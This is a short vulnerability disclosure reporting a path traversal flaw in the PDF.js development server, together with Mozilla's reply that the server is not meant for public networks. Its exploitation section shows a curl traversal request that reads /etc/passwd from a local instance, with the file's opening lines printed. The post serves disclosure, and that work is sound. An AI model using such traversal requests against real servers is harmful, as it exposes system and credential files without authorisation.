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Path traversal in mozilla PDF.js [Unpatched]
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Dhiraj Mishra
2018-11-24 07:46:49 UTC
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## Summary
A path traversal issue was observed in Mozilla PDF.js which is a PDF reader
in JavaScript. This issue was observed while code review of PDF.js
(gulpfile.js)(
https://github.com/mozilla/pdf.js/blob/master/gulpfile.js#L1023), Mozilla
team says "The server with pdf.js is intended to be a development server
and should not be exposed to public networks. I suppose we could update the
docs to state that." and a upstream bug was filed against the same (
https://github.com/mozilla/pdf.js/issues/10249).

## Installation
PDF.js is built into version 19+ of firefox and a chrome extension is also
available on chrome web store. To install and get a local copy of PDF.js
here are the below steps :
$ git clone https://github.com/mozilla/pdf.js.git
$ cd pdf.js
$ npm install -g gulp-cli
$ npm install
$ gulp server

##Exploitation
I've used the attribute --path-as-is from cURL to verify this issue.
$ curl --path-as-is -v http://127.0.0.1:8888/../../../../../../etc/passwd
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
GET /../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: curl/7.58.0
Accept: */*
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Type: application/octet-stream
< Content-Length: 2745
< Date: Thu, 15 Nov 2018 06:34:32 GMT
< Connection: keep-alive
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


Thank you
Dhiraj (@mishradhiraj_)

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